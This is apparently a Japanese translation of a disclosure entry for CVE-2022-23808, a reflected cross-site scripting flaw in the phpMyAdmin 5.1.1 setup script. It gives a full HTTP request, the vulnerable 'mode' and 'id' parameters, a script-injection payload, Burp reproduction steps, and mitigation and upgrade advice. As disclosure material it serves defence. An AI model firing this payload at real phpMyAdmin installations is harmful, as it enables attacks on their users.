phpMyAdmin エクスプロイト

エクスプロイト名 : phpMyAdmin 5.1.1 - XSS (クロスサイトスクリプティング)
作者 : Dipak Panchal (@th3.d1p4k)
ベンダーホームページ : https://www.phpmyadmin.net
ソフトウェアリンク : https://www.phpmyadmin.net/files/5.1.1/
影響を受けるバージョン : phpMyAdmin 5.1系において5.1.2より前のバージョンが影響を受けます。
テスト環境 : Windows 10 および Linux
CVE : CVE-2022-23808
参照 : https://www.phpmyadmin.net/security/PMASA-2022-2/

説明:

一連の脆弱性が発見されました。これにより、攻撃者がセットアップスクリプトの一部に悪意のあるコードを注入し、XSSまたはHTMLインジェクションを引き起こす可能性があります。

リクエスト:

GET /phpmyadmin/setup/index.php?page=servers&mode=test&id=test  HTTP/1.1      
Host: 127.0.0.1:1234       
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0      
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8      
Accept-Language: en-US,en;q=0.5     
Connection: close   
Cookie: pma_lang=en; phpMyAdmin=fs55xxxxxxx; pma_lang=en; pmaUser-1=xxxxxxxxxxxxxxxxxxxxxxxxxxx; phpMyAdmin=xxxxxxxxxxxxxxx; pmaAuth-1=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx           
Upgrade-Insecure-Requests: 1          
Cache-Control: max-age=0

脆弱性のあるパラメータ:

mode
id

ペイロード:

">'><script>alert(document.domain)</script>

再現手順:

上記のリクエストをBurpでキャプチャします。
脆弱性のあるパラメータにXSSペイロードを置き換えます。
送信をクリックし、ブラウザでレスポンスを表示します。
ポップアップが表示されます！

概念実証:

2022-01-26_21h45_23

緩和策:

設定ファイル config.inc.php が存在するphpMyAdminインストールではセットアップスクリプトへのアクセスが許可されず、これによりこの攻撃が緩和されます。

修正:

phpMyAdmin 5.1.2以降にアップグレードするか、パッチを適用してください。

CVE-2022-23808

人気